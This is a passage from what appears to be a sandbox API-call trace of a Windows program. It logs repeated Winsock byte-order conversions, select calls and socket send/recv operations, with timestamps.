(hostshort=0x0) returned 0x0 [0119.539] htons (hostshort=0x3393) returned 0x9333 [0119.539] htons (hostshort=0xc001) returned 0x1c0 [0119.539] htons (hostshort=0x0) returned 0x0 [0119.539] htons (hostshort=0x3393) returned 0x9333 [0119.539] htons (hostshort=0xc001) returned 0x1c0 [0119.539] htonl (hostlong=0xe77bfea8) returned 0xa8fe7be7 [0119.540] htons (hostshort=0x0) returned 0x0 [0119.540] htons (hostshort=0x3393) returned 0x9333 [0119.540] htons (hostshort=0xf201) returned 0x1f2 [0119.540] htons (hostshort=0x0) returned 0x0 [0119.540] htons (hostshort=0x3393) returned 0x9333 [0119.540] htons (hostshort=0xf201) returned 0x1f2 [0119.540] htons (hostshort=0x0) returned 0x0 [0119.540] htons (hostshort=0x9333) returned 0x3393 [0119.540] htons (hostshort=0x1f2) returned 0xf201 [0119.540] htons (hostshort=0x0) returned 0x0 [0119.540] htons (hostshort=0x3393) returned 0x9333 [0119.540] htons (hostshort=0xf201) returned 0x1f2 [0119.540] htons (hostshort=0x0) returned 0x0 [0119.540] htons (hostshort=0x3393) returned 0x9333 [0119.540] htons (hostshort=0xf201) returned 0x1f2 [0119.540] htonl (hostlong=0x4a15df52) returned 0x52df154a [0119.540] GetCurrentThreadId () returned 0x918 [0119.540] WSASetLastError (iError=0) [0119.540] send (in: s=0x1d4, buf=0x8697b3*, len=543, flags=0 | out: buf=0x8697b3*) returned 543 [0119.540] htonl (hostlong=0x4a15df52) returned 0x52df154a [0119.540] htonl (hostlong=0x4a15df52) returned 0x52df154a [0119.540] time (in: timer=0x0 | out: timer=0x0) returned 0x599b4b23 [0119.540] time (in: timer=0x0 | out: timer=0x0) returned 0x599b4b23 [0119.540] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x36f5f8 | out: lpSystemTimeAsFileTime=0x36f5f8*(dwLowDateTime=0x3dc44e90, dwHighDateTime=0x1d31ac1)) [0119.540] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x36f658 | out: lpSystemTimeAsFileTime=0x36f658*(dwLowDateTime=0x3dc44e90, dwHighDateTime=0x1d31ac1)) [0119.540] select (in: nfds=3, readfds=0x8495f8, writefds=0x849688, exceptfds=0x849718, timeout=0x36f7e4 | out: readfds=0x8495f8, writefds=0x849688, exceptfds=0x849718) returned 1 [0119.540] rand () returned 5829 [0119.540] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x36f618 | out: lpSystemTimeAsFileTime=0x36f618*(dwLowDateTime=0x3dc44e90, dwHighDateTime=0x1d31ac1)) [0119.540] htonl (hostlong=0x4a15df52) returned 0x52df154a [0119.540] GetCurrentThreadId () returned 0x918 [0119.540] WSASetLastError (iError=0) [0119.540] recv (in: s=0x1d4, buf=0x865663, len=5, flags=0 | out: buf=0x865663*) returned 5 [0119.540] SetLastError (dwErrCode=0x0) [0119.540] WSASetLastError (iError=0) [0119.540] recv (in: s=0x1d4, buf=0x865668, len=4072, flags=0 | out: buf=0x865668*) returned 4072 [0119.541] htonl (hostlong=0x4a15df52) returned 0x52df154a [0119.541] htonl (hostlong=0x4a15df52) returned 0x52df154a [0119.541] htonl (hostlong=0x4a15df52) returned 0x52df154a [0119.541] htonl (hostlong=0xe77bfea8) returned 0xa8fe7be7 [0119.541] htons (hostshort=0x0) returned 0x0 [0119.541] htons (hostshort=0x3393) returned 0x9333 [0119.541] htons (hostshort=0xf201) returned 0x1f2 [0119.541] htons (hostshort=0x0) returned 0x0 [0119.541] htons (hostshort=0x3393) returned 0x9333 [0119.541] htons (hostshort=0xf201) returned 0x1f2 [0119.541] htons (hostshort=0x0) returned 0x0 [0119.541] htons (hostshort=0x9333) returned 0x3393 [0119.541] htons (hostshort=0x1f2) returned 0xf201 [0119.541] htons (hostshort=0x0) returned 0x0 [0119.541] htons (hostshort=0x3393) returned 0x9333 [0119.541] htons (hostshort=0xf201) returned 0x1f2 [0119.541] htons (hostshort=0x0) returned 0x0 [0119.541] htons (hostshort=0x3393) returned 0x9333 [0119.541] htons (hostshort=0xf201) returned 0x1f2 [0119.541] htonl (hostlong=0xe77bfea8) returned 0xa8fe7be7 [0119.541] htons (hostshort=0x0) returned 0x0 [0119.541] htons (hostshort=0x3393) returned 0x9333 [0119.541] htons (hostshort=0xf201) returned 0x1f2 [0119.542] htons (hostshort=0x0) returned 0x0 [0119.542] htons (hostshort=0x3393) returned 0x9333 [0119.542] htons (hostshort=0xf201) returned 0x1f2 [0119.542] htons (hostshort=0x0) returned 0x0 [0119.542] htons (hostshort=0x9333) returned 0x3393 [0119.542] htons (hostshort=0x1f2) returned 0xf201 [0119.542] htons (hostshort=0x0) returned 0x0 [0119.542] htons (hostshort=0x3393) returned 0x9333 [0119.542] htons (hostshort=0xf201) returned 0x1f2 [0119.542] htons (hostshort=0x0) returned 0x0 [0119.542] htons (hostshort=0x3393) returned 0x9333 [0119.542] htons (hostshort=0xf201) returned 0x1f2 [0119.542] htonl (hostlong=0xe77bfea8) returned 0xa8fe7be7 [0119.542] htons (hostshort=0x0) returned 0x0 [0119.542] htons (hostshort=0x3393) returned 0x9333 [0119.542] htons (hostshort=0xf201) returned 0x1f2 [0119.542] htons (hostshort=0x0) returned 0x0 [0119.542] htons (hostshort=0x3393) returned 0x9333 [0119.542] htons (hostshort=0xf201) returned 0x1f2 [0119.542] htons (hostshort=0x0) returned 0x0 [0119.542] htons (hostshort=0x9333) returned 0x3393 [0119.542] htons (hostshort=0x1f2) returned 0xf201 [0119.542] htons (hostshort=0x0) returned 0x0 [0119.542] htons (hostshort=0x3393) returned 0x9333 [0119.542] htons (hostshort=0xf201) returned 0x1f2 [0119.542] htons (hostshort=0x0) returned 0x0 [0119.542] htons (hostshort=0x3393) returned 0x9333 [0119.542] htons (hostshort=0xf201) returned 0x1f2 [0119.543] htonl (hostlong=0xe77bfea8) returned 0xa8fe7be7 [0119.543] htons (hostshort=0x0) returned 0x0 [0119.543] htons (hostshort=0x3393) returned 0x9333 [0119.543] htons (hostshort=0xf201) returned 0x1f2 [0119.543] htons (hostshort=0x0) returned 0x0 [0119.543] htons (hostshort=0x3393) returned 0x9333 [0119.543] htons (hostshort=0xf201) returned 0x1f2 [0119.543] htons (hostshort=0x0) returned 0x0 [0119.543] htons (hostshort=0x9333) returned 0x3393 [0119.543] htons (hostshort=0x1f2) returned 0xf201 [0119.543] htons (hostshort=0x0) returned 0x0 [0119.543] htons (hostshort=0x3393) returned 0x9333 [0119.543] htons (hostshort=0xf201) returned 0x1f2 [0119.543] htons (hostshort=0x0) returned 0x0 [0119.543] htons (hostshort=0x3393) returned 0x9333 [0119.543] htons (hostshort=0xf201) returned 0x1f2 [0119.543] htonl (hostlong=0xe77bfea8) returned 0xa8fe7be7 [0119.543] htons (hostshort=0x0) returned 0x0 [0119.543] htons (hostshort=0x3393) returned 0x9333 [0119.543] htons (hostshort=0xf201) returned 0x1f2 [0119.543] htons (hostshort=0x0) returned 0x0 [0119.543] htons (hostshort=0x3393) returned 0x9333 [0119.543] htons (hostshort=0xf201) returned 0x1f2 [0119.543] htons (hostshort=0x0) returned 0x0 [0119.543] htons (hostshort=0x9333) returned 0x3393 [0119.543] htons (hostshort=0x1f2) returned 0xf201 [0119.543] htons (hostshort=0x0) returned 0x0 [0119.543] htons (hostshort=0x3393) returned 0x9333 [0119.543] htons (hostshort=0xf201) returned 0x1f2 [0119.543] htons (hostshort=0x0) returned 0x0 [0119.543] htons (hostshort=0x3393) returned 0x9333 [0119.543] htons (hostshort=0xf201) returned 0x1f2 [0119.543] htonl (hostlong=0xe77bfea8) returned 0xa8fe7be7 [0119.543] htons (hostshort=0x0) returned 0x0 [0119.543] htons (hostshort=0x3393) returned 0x9333 [0119.543] htons (hostshort=0xf201) returned 0x1f2 [0119.543] htons (hostshort=0x0) returned 0x0 [0119.543] htons (hostshort=0x3393) returned 0x9333 [0119.543] htons (hostshort=0xf201) returned 0x1f2 [0119.543] htons (hostshort=0x0) returned 0x0 [0119.543] htons (hostshort=0x9333) returned 0x3393 [0119.543] htons (hostshort=0x1f2) returned 0xf201 [0119.543] htons (hostshort=0x0) returned 0x0 [0119.543] htons (hostshort=0x3393) returned 0x9333 [0119.543] htons (hostshort=0xf201) returned 0x1f2 [0119.544] htons (hostshort=0x0) returned 0x0 [0119.544] htons (hostshort=0x3393) returned 0x9333 [0119.544] htons (hostshort=0xf201) returned 0x1f2 [0119.544] htonl (hostlong=0xe77bfea8) returned 0xa8fe7be7 [0119.544] htons (hostshort=0x0) returned 0x0 [0119.544] htons (hostshort=0x3393) returned 0x9333 [0119.544] htons (hostshort=0xf201) returned 0x1f2 [0119.544] htons (hostshort=0x0) returned 0x0 [0119.544] htons (hostshort=0x3393) returned 0x9333 [0119.544] htons (hostshort=0xf201) returned 0x1f2 [0119.544] htons (hostshort=0x0) returned 0x0 [0119.544] htons (hostshort=0x9333) returned 0x3393 [0119.544] htons (hostshort=0x1f2) returned 0xf201 [0119.544] htons (hostshort=0x0) returned 0x0 [0119.544] htons (hostshort=0x3393) returned 0x9333 [0119.544] htons (hostshort=0xf201) returned 0x1f2 [0119.544] htons (hostshort=0x0) returned 0x0 [0119.544] htons (hostshort=0x3393) returned 0x9333 [0119.544] htons (hostshort=0xf201) returned 0x1f2 [0119.544] htonl (hostlong=0xe77bfea8) returned 0xa8fe7be7 [0119.544] htons (hostshort=0x0) returned 0x0 [0119.544] htons (hostshort=0x3393) returned 0x9333 [0119.544] htons (hostshort=0xf201) returned 0x1f2 [0119.544] htons (hostshort=0x0) returned 0x0 [0119.544] htons (hostshort=0x3393) returned 0x9333 [0119.544] htons (hostshort=0xf201) returned 0x1f2 [0119.544] htons (hostshort=0x0) returned 0x0 [0119.544] htons (hostshort=0x9333) returned 0x3393 [0119.544] htons (hostshort=0x1f2) returned 0xf201 [0119.544] htons (hostshort=0x0) returned 0x0 [0119.544] htons (hostshort=0x3393) returned 0x9333 [0119.544] htons (hostshort=0xf201) returned 0x1f2 [0119.544] htons (hostshort=0x0) returned 0x0 [0119.544] htons (hostshort=0x3393) returned 0x9333 [0119.544] htons (hostshort=0xf201) returned 0x1f2 [0119.544] select (in: nfds=3, readfds=0x8495f8, writefds=0x849688, exceptfds=0x849718, timeout=0x36f7e4 | out: readfds=0x8495f8, writefds=0x849688, exceptfds=0x849718) returned 1 [0119.544] rand () returned 26777 [0119.544] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x36f618 | out: lpSystemTimeAsFileTime=0x36f618*(dwLowDateTime=0x3dc44e90, dwHighDateTime=0x1d31ac1)) [0119.544] htonl (hostlong=0x4a15df52) returned 0x52df154a [0119.544] GetCurrentThreadId () returned 0x918 [0119.544] WSASetLastError (iError=0) [0119.544] recv (in: s=0x1d4, buf=0x865663, len=5, flags=0 | out: buf=0x865663*) returned 5 [0119.544] SetLastError (dwErrCode=0x0) [0119.545] WSASetLastError (iError=0) [0119.545] recv (in: s=0x1d4, buf=0x865668, len=4072, flags=0 | out: buf=0x865668*) returned 4072 [0119.545] htonl (hostlong=0x4a15df52) returned 0x52df154a [0119.545] htonl (hostlong=0x4a15df52) returned 0x52df154a [0119.545] htonl (hostlong=0x4a15df52) returned 0x52df154a [0119.545] htonl (hostlong=0xe77bfea8) returned 0xa8fe7be7 [0119.545] htons (hostshort=0x0) returned 0x0 [0119.545] htons (hostshort=0x3393) returned 0x9333 [0119.545] htons (hostshort=0xf201) returned 0x1f2 [0119.545] htons (hostshort=0x0) returned 0x0 [0119.545] htons (hostshort=0x3393) returned 0x9333 [0119.545] htons (hostshort=0xf201) returned 0x1f2 [0119.545] htons (hostshort=0x0) returned 0x0 [0119.545] htons (hostshort=0x9333) returned 0x3393 [0119.545] htons (hostshort=0x1f2) returned 0xf201 [0119.545] htons (hostshort=0x0) returned 0x0 [0119.545] htons (hostshort=0x3393) returned 0x9333 [0119.545] htons (hostshort=0xf201) returned 0x1f2 [0119.545] htons (hostshort=0x0) returned 0x0 [0119.545] htons (hostshort=0x3393) returned 0x9333 [0119.545] htons (hostshort=0xf201) returned 0x1f2 [0119.545] htonl (hostlong=0xe77bfea8) returned 0xa8fe7be7 [0119.545] htons (hostshort=0x0) returned 0x0 [0119.545] htons (hostshort=0x3393) returned 0x9333 [0119.545] htons (hostshort=0xf201) returned 0x1f2 [0119.545] htons (hostshort=0x0) returned 0x0 [0119.545] htons (hostshort=0x3393) returned 0x9333 [0119.545] htons (hostshort=0xf201) returned 0x1f2 [0119.545] htons (hostshort=0x0) returned 0x0 [0119.545] htons (hostshort=0x9333) returned 0x3393 [0119.546] htons (hostshort=0x1f2) returned 0xf201 [0119.546] htons (hostshort=0x0) returned 0x0 [0119.546] htons (hostshort=0x3393) returned 0x9333 [0119.546] htons (hostshort=0xf201) returned 0x1f2 [0119.546] htons (hostshort=0x0) returned 0x0 [0119.546] htons (hostshort=0x3393) returned 0x9333 [0119.546] htons (hostshort=0xf201) returned 0x1f2 [0119.546] htonl (hostlong=0xe77bfea8) returned 0xa8fe7be7 [0119.546] htons (hostshort=0x0) returned 0x0 [0119.546] htons (hostshort=0x3393) returned 0x9333 [0119.546] htons (hostshort=0xf201) returned 0x1f2 [0119.546] htons (hostshort=0x0) returned 0x0 [0119.546] htons (hostshort=0x3393) returned 0x9333 [0119.546] htons (hostshort=0xf201) returned 0x1f2 [0119.546] htons (hostshort=0x0) returned 0x0 [0119.546] htons (hostshort=0x9333) returned 0x3393 [0119.546] htons (hostshort=0x1f2) returned 0xf201 [0119.546] htons (hostshort=0x0) returned 0x0 [0119.546] htons (hostshort=0x3393) returned 0x9333 [0119.546] htons (hostshort=0xf201) returned 0x1f2 [0119.546] htons (hostshort=0x0) returned 0x0 [0119.546] htons (hostshort=0x3393) returned 0x9333 [0119.546] htons (hostshort=0xf201) returned 0x1f2 [0119.546] htonl (hostlong=0xe77bfea8) returned 0xa8fe7be7 [0119.546] htons (hostshort=0x0) returned 0x0 [0119.546] htons (hostshort=0x3393) returned 0x9333 [0119.546] htons (hostshort=0xf201) returned 0x1f2 [0119.546] htons (hostshort=0x0) returned 0x0 [0119.546] htons (hostshort=0x3393) returned 0x9333 [0119.546] htons (hostshort=0xf201) returned 0x1f2 [0119.546] htons (hostshort=0x0) returned 0x0 [0119.546] htons (hostshort=0x9333) returned 0x3393 [0119.546] htons (hostshort=0x1f2) returned 0xf201 [0119.546] htons (hostshort=0x0) returned 0x0 [0119.546] htons (hostshort=0x3393) returned 0x9333 [0119.546] htons (hostshort=0xf201) returned 0x1f2 [0119.546] htons (hostshort=0x0) returned 0x0 [0119.546] htons (hostshort=0x3393) returned 0x9333 [0119.546] htons (hostshort=0xf201) returned 0x1f2 [0119.546] htonl (hostlong=0xe77bfea8) returned 0xa8fe7be7 [0119.546] htons (hostshort=0x0) returned 0x0 [0119.546] htons (hostshort=0x3393) returned 0x9333 [0119.546] htons (hostshort=0xf201) returned 0x1f2 [0119.546] htons (hostshort=0x0) returned 0x0 [0119.546] htons (hostshort=0x3393) returned 0x9333 [0119.546] htons (hostshort=0xf201) returned 0x1f2 [0119.547] htons (hostshort=0x0) returned 0x0 [0119.547] htons (hostshort=0x9333) returned 0x3393 [0119.547] htons (hostshort=0x1f2) returned 0xf201 [0119.547] htons (hostshort=0x0) returned 0x0 [0119.547] htons (hostshort=0x3393) returned 0x9333 [0119.547] htons (hostshort=0xf201) returned 0x1f2 [0119.547] htons (hostshort=0x0) returned 0x0 [0119.547] htons (hostshort=0x3393) returned 0x9333 [0119.547] htons (hostshort=0xf201) returned 0x1f2 [0119.547] htonl (hostlong=0xe77bfea8) returned 0xa8fe7be7 [0119.547] htons (hostshort=0x0) returned 0x0 [0119.547] htons (hostshort=0x3393) returned 0x9333 [0119.547] htons (hostshort=0xf201) returned 0x1f2 [0119.547] htons (hostshort=0x0) returned 0x0 [0119.547] htons (hostshort=0x3393) returned 0x9333 [0119.547] htons (hostshort=0xf201) returned 0x1f2 [0119.547] htons (hostshort=0x0) returned 0x0 [0119.547] htons (hostshort=0x9333) returned 0x3393 [0119.547] htons (hostshort=0x1f2) returned 0xf201 [0119.547] htons (hostshort=0x0) returned 0x0 [0119.547] htons (hostshort=0x3393) returned 0x9333 [0119.547] htons (hostshort=0xf201) returned 0x1f2 [0119.547] htons (hostshort=0x0) returned 0x0 [0119.547] htons (hostshort=0x3393) returned 0x9333 [0119.547] htons (hostshort=0xf201) returned 0x1f2 [0119.547] htonl (hostlong=0xe77bfea8) returned 0xa8fe7be7 [0119.547] htons (hostshort=0x0) returned 0x0 [0119.547] htons (hostshort=0x3393) returned 0x9333 [0119.547] htons (hostshort=0xf201) returned 0x1f2 [0119.547] htons (hostshort=0x0) returned 0x0 [0119.547] htons (hostshort=0x3393) returned 0x9333 [0119.547] htons (hostshort=0xf201) returned 0x1f2 [0119.547] htons (hostshort=0x0) returned 0x0 [0119.547] htons (hostshort=0x9333) returned 0x3393 [0119.547] htons (hostshort=0x1f2) returned 0xf201 [0119.547] htons (hostshort=0x0) returned 0x0 [0119.547] htons (hostshort=0x3393) returned 0x9333 [0119.547] htons (hostshort=0xf201) returned 0x1f2 [0119.547] htons (hostshort=0x0) returned 0x0 [0119.547] htons (hostshort=0x3393) returned 0x9333 [0119.547] htons (hostshort=0xf201) returned 0x1f2 [0119.547] htonl (hostlong=0xe77bfea8) returned 0xa8fe7be7 [0119.547] htons (hostshort=0x0) returned 0x0 [0119.547] htons (hostshort=0x3393) returned 0x9333 [0119.547] htons (hostshort=0xf201) returned 0x1f2 [0119.547] htons (hostshort=0x0) returned 0x0 [0119.547] htons (hostshort=0x3393) returned 0x9333 [0119.548] htons (hostshort=0xf201) returned 0x1f2 [0119.548] htons (hostshort=0x0) returned 0x0 [0119.548] htons (hostshort=0x9333) returned 0x3393 [0119.548] htons (hostshort=0x1f2) returned 0xf201 [0119.548] htons (hostshort=0x0) returned 0x0 [0119.548] htons (hostshort=0x3393) returned 0x9333 [0119.548] htons (hostshort=0xf201) returned 0x1f2 [0119.548] htons (hostshort=0x0) returned 0x0 [0119.548] htons (hostshort=0x3393) returned 0x9333 [0119.548] htons (hostshort=0xf201) returned 0x1f2 [0119.548] select (in: nfds=3, readfds=0x8495f8, writefds=0x849688, exceptfds=0x849718, timeout=0x36f7e4 | out: readfds=0x8495f8, writefds=0x849688, exceptfds=0x849718) returned 1 [0119.548] rand () returned 15573 [0119.548] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x36f618 | out: lpSystemTimeAsFileTime=0x36f618*(dwLowDateTime=0x3dc44e90, dwHighDateTime=0x1d31ac1)) [0119.548] htonl (hostlong=0x4a15df52) returned 0x52df154a [0119.548] GetCurrentThreadId () returned 0x918 [0119.548] WSASetLastError (iError=0) [0119.548] recv (in: s=0x1d4, buf=0x865663, len=5, flags=0 | out: buf=0x865663*) returned 5 [0119.548] SetLastError (dwErrCode=0x0) [0119.548] WSASetLastError (iError=0) [0119.548] recv (in: s=0x1d4, buf=0x865668, len=536, flags=0 | out: buf=0x865668*) returned 536 [0119.548] htonl (hostlong=0x4a15df52) returned 0x52df154a [0119.548] htonl (hostlong=0x4a15df52) returned 0x52df154a [0119.548] htonl (hostlong=0x4a15df52) returned 0x52df154a [0119.548] htonl (hostlong=0xe77bfea8) returned 0xa8fe7be7 [0119.548] htons (hostshort=0x0) returned 0x0 [0119.548] htons (hostshort=0x3393) returned 0x9333 [0119.548] htons (hostshort=0xf201) returned 0x1f2 [0119.548] htons (hostshort=0x0) returned 0x0 [0119.548] htons (hostshort=0x3393) returned 0x9333 [0119.548] htons (hostshort=0xf201) returned 0x1f2 [0119.548] htons (hostshort=0x0) returned 0x0 [0119.548] htons (hostshort=0x9333) returned 0x3393 [0119.548] htons (hostshort=0x1f2) returned 0xf201 [0119.548] htons (hostshort=0x0) returned 0x0 [0119.548] htons (hostshort=0x3393) returned 0x9333 [0119.548] htons (hostshort=0xf201) returned 0x1f2 [0119.548] htons (hostshort=0x0) returned 0x0 [0119.548] htons (hostshort=0x3393) returned 0x9333 [0119.548] htons (hostshort=0xf201) returned 0x1f2 [0119.548] select (in: nfds=3, readfds=0x8495f8, writefds=0x849688, exceptfds=0x849718, timeout=0x36f7e4 | out: readfds=0x8495f8, writefds=0x849688, exceptfds=0x849718) returned 1 [0119.548] rand () returned 5097 [0119.549] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x36f618 | out: lpSystemTimeAsFileTime=0x36f618*(dwLowDateTime=0x3dc44e90, dwHighDateTime=0x1d31ac1)) [0119.549] htonl (hostlong=0x4a15df52) returned 0x52df154a [0119.549] GetCurrentThreadId () returned 0x918 [0119.549] WSASetLastError (iError=0) [0119.549] recv (in: s=0x1d4, buf=0x865663, len=5, flags=0 | out: buf=0x865663*) returned 5 [0119.549] SetLastError (dwErrCode=0x0) [0119.549] WSASetLastError (iError=0) [0119.549] recv (in: s=0x1d4, buf=0x865668, len=3560, flags=0 | out: buf=0x865668*) returned 3560 [0119.549] htonl (hostlong=0x4a15df52) returned 0x52df154a [0119.549] htonl (hostlong=0x4a15df52) returned 0x52df154a [0119.549] htonl (hostlong=0x4a15df52) returned 0x52df154a [0119.549] htonl (hostlong=0xe77bfea8) returned 0xa8fe7be7 [0119.549] htons (hostshort=0x0) returned 0x0 [0119.549] htons (hostshort=0x3393) returned 0x9333 [0119.549] htons (hostshort=0xf201) returned 0x1f2 [0119.549] htons (hostshort=0x0) returned 0x0 [0119.549] htons (hostshort=0x3393) returned 0x9333 [0119.549] htons (hostshort=0xf201) returned 0x1f2 [0119.549] htons (hostshort=0x0) returned 0x0 [0119.549] htons (hostshort=0x9333) returned 0x3393 [0119.549] htons (hostshort=0x1f2) returned 0xf201 [0119.549] htons (hostshort=0x0) returned 0x0 [0119.549] htons (hostshort=0x3393) returned 0x9333 [0119.549] htons (hostshort=0xf201) returned 0x1f2 [0119.549] htons (hostshort=0x0) returned 0x0 [0119.549] htons (hostshort=0x3393) returned 0x9333 [0119.549] htons (hostshort=0xf201) returned 0x1f2 [0119.549] htonl (hostlong=0xe77bfea8) returned 0xa8fe7be7 [0119.549] htons (hostshort=0x0) returned 0x0 [0119.549] htons (hostshort=0x3393) returned 0x9333 [0119.549] htons (hostshort=0xf201) returned 0x1f2 [0119.549] htons (hostshort=0x0) returned 0x0 [0119.549] htons (hostshort=0x3393) returned 0x9333 [0119.549] htons (hostshort=0xf201) returned 0x1f2 [0119.549] htons (hostshort=0x0) returned 0x0 [0119.549] htons (hostshort=0x9333) returned 0x3393 [0119.549] htons (hostshort=0x1f2) returned 0xf201 [0119.549] htons (hostshort=0x0) returned 0x0 [0119.549] htons (hostshort=0x3393) returned 0x9333 [0119.549] htons (hostshort=0xf201) returned 0x1f2 [0119.549] htons (hostshort=0x0) returned 0x0 [0119.549] htons (hostshort=0x3393) returned 0x9333 [0119.549] htons (hostshort=0xf201) returned 0x1f2 [0119.550] htonl (hostlong=0xe77bfea8) returned 0xa8fe7be7 [0119.550] htons (hostshort=0x0) returned 0x0 [0119.550] htons (hostshort=0x3393) returned 0x9333 [0119.550] htons (hostshort=0xf201) returned 0x1f2 [0119.550] htons (hostshort=0x0) returned 0x0 [0119.550] htons (hostshort=0x3393) returned 0x9333 [0119.550] htons (hostshort=0xf201) returned 0x1f2 [0119.550] htons (hostshort=0x0) returned 0x0 [0119.550] htons (hostshort=0x9333) returned 0x3393 [0119.550] htons (hostshort=0x1f2) returned 0xf201 [0119.550] htons (hostshort=0x0) returned 0x0 [0119.550] htons (hostshort=0x3393) returned 0x9333 [0119.550] htons (hostshort=0xf201) returned 0x1f2 [0119.550] htons (hostshort=0x0) returned 0x0 [0119.550] htons (hostshort=0x3393) returned 0x9333 [0119.550] htons (hostshort=0xf201) returned 0x1f2 [0119.550] htonl (hostlong=0xe77bfea8) returned 0xa8fe7be7 [0119.550] htons (hostshort=0x0) returned 0x0 [0119.550] htons (hostshort=0x3393) returned 0x9333 [0119.550] htons (hostshort=0xf201) returned 0x1f2 [0119.550] htons (hostshort=0x0) returned 0x0 [0119.550] htons (hostshort=0x3393) returned 0x9333 [0119.550] htons (hostshort=0xf201) returned 0x1f2 [0119.550] htons (hostshort=0x0) returned 0x0 [0119.550] htons (hostshort=0x9333) returned 0x3393 [0119.550] htons (hostshort=0x1f2) returned 0xf201 [0119.550] htons (hostshort=0x0) returned 0x0 [0119.550] htons (hostshort=0x3393) returned 0x9333 [0119.550] htons (hostshort=0xf201) returned 0x1f2 [0119.550] htons (hostshort=0x0) returned 0x0 [0119.550] htons (hostshort=0x3393) returned 0x9333 [0119.550] htons (hostshort=0xf201) returned 0x1f2 [0119.550] htonl (hostlong=0xe77bfea8) returned 0xa8fe7be7 [0119.550] htons (hostshort=0x0) returned 0x0 [0119.551] htons (hostshort=0x3393) returned 0x9333 [0119.551] htons (hostshort=0xf201) returned 0x1f2 [0119.551] htons (hostshort=0x0) returned 0x0 [0119.551] htons (hostshort=0x3393) returned 0x9333 [0119.551] htons (hostshort=0xf201) returned 0x1f2 [0119.551] htons (hostshort=0x0) returned 0x0 [0119.551] htons (hostshort=0x9333) returned 0x3393 [0119.551] htons (hostshort=0x1f2) returned 0xf201 [0119.551] htons (hostshort=0x0) returned 0x0 [0119.551] htons (hostshort=0x3393) returned 0x9333 [0119.551] htons (hostshort=0xf201) returned 0x1f2 [0119.551] htons (hostshort=0x0) returned 0x0 [0119.551] htons (hostshort=0x3393) returned 0x9333 [0119.551] htons (hostshort=0xf201) returned 0x1f2 [0119.551] htonl (hostlong=0xe77bfea8) returned 0xa8fe7be7 [0119.551] htons (hostshort=0x0) returned 0x0 [0119.551] htons (hostshort=0x3393) returned 0x9333 [0119.551] htons (hostshort=0xf201) returned 0x1f2 [0119.551] htons (hostshort=0x0) returned 0x0 [0119.551] htons (hostshort=0x3393) returned 0x9333 [0119.551] htons (hostshort=0xf201) returned 0x1f2 [0119.551] htons (hostshort=0x0) returned 0x0 [0119.551] htons (hostshort=0x9333) returned 0x3393 [0119.551] htons (hostshort=0x1f2) returned 0xf201 [0119.551] htons (hostshort=0x0) returned 0x0 [0119.551] htons (hostshort=0x3393) returned 0x9333 [0119.551] htons (hostshort=0xf201) returned 0x1f2 [0119.551] htons (hostshort=0x0) returned 0x0 [0119.551] htons (hostshort=0x3393) returned 0x9333 [0119.551] htons (hostshort=0xf201) returned 0x1f2 [0119.551] select (in: nfds=3, readfds=0x8495f8, writefds=0x849688, exceptfds=0x849718, timeout=0x36f7e4 | out: readfds=0x8495f8, writefds=0x849688, exceptfds=0x849718) returned 1 [0119.551] rand () returned 16512 [0119.551] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x36f618 | out: lpSystemTimeAsFileTime=0x36f618*(dwLowDateTime=0x3dc6aff0, dwHighDateTime=0x1d31ac1)) [0119.551] htonl (hostlong=0x4a15df52) returned 0x52df154a [0119.551] GetCurrentThreadId () returned 0x918 [0119.551] WSASetLastError (iError=0) [0119.551] recv (in: s=0x1d4, buf=0x865663, len=5, flags=0 | out: buf=0x865663*) returned 5 [0119.551] SetLastError (dwErrCode=0x0) [0119.551] WSASetLastError (iError=0) [0119.551] recv (in: s=0x1d4, buf=0x865668, len=4072, flags=0 | out: buf=0x865668*) returned 4072 [0119.551] htonl (hostlong=0x4a15df52) returned 0x52df154a [0119.551] htonl (hostlong=0x4a15df52) returned 0x52df154a [0119.552] htonl (hostlong=0x4a15df52) returned 0x52df154a [0119.552] htonl (hostlong=0xe77bfea8) returned 0xa8fe7be7 [0119.552] htons (hostshort=0x0) returned 0x0 [0119.552] htons (hostshort=0x3393) returned 0x9333 [0119.552] htons (hostshort=0xf201) returned 0x1f2 [0119.552] htons (hostshort=0x0) returned 0x0 [0119.552] htons (hostshort=0x3393) returned 0x9333 [0119.552] htons (hostshort=0xf201) returned 0x1f2 [0119.552] htons (hostshort=0x0) returned 0x0 [0119.552] htons (hostshort=0x9333) returned 0x3393 [0119.552] htons (hostshort=0x1f2) returned 0xf201 [0119.552] htons (hostshort=0x0) returned 0x0 [0119.552] htons (hostshort=0x3393) returned 0x9333 [0119.552] htons (hostshort=0xf201) returned 0x1f2 [0119.552] htons (hostshort=0x0) returned 0x0 [0119.552] htons (hostshort=0x3393) returned 0x9333 [0119.552] htons (hostshort=0xf201) returned 0x1f2 [0119.552] htonl (hostlong=0xe77bfea8) returned 0xa8fe7be7 [0119.552] htons (hostshort=0x0) returned 0x0 [0119.552] htons (hostshort=0x3393) returned 0x9333 [0119.552] htons (hostshort=0xf201) returned 0x1f2 [0119.552] htons (hostshort=0x0) returned 0x0 [0119.552] htons (hostshort=0x3393) returned 0x9333 [0119.552] htons (hostshort=0xf201) returned 0x1f2 [0119.552] htons (hostshort=0x0) returned 0x0 [0119.552] htons (hostshort=0x9333) returned 0x3393 [0119.552] htons (hostshort=0x1f2) returned 0xf201 [0119.552] htons (hostshort=0x0) returned 0x0 [0119.552] htons (hostshort=0x3393) returned 0x9333 [0119.552] htons (hostshort=0xf201) returned 0x1f2 [0119.552] htons (hostshort=0x0) returned 0x0 [0119.552] htons (hostshort=0x3393) returned 0x9333 [0119.552] htons (hostshort=0xf201) returned 0x1f2 [0119.552] htonl (hostlong=0xe77bfea8) returned 0xa8fe7be7 [0119.552] htons (hostshort=0x0) returned 0x0 [0119.552] htons (hostshort=0x3393) returned 0x9333 [0119.552] htons (hostshort=0xf201) returned 0x1f2 [0119.552] htons (hostshort=0x0) returned 0x0 [0119.552] htons (hostshort=0x3393) returned 0x9333 [0119.552] htons (hostshort=0xf201) returned 0x1f2 [0119.552] htons (hostshort=0x0) returned 0x0 [0119.552] htons (hostshort=0x9333) returned 0x3393 [0119.552] htons (hostshort=0x1f2) returned 0xf201 [0119.553] htons (hostshort=0x0) returned 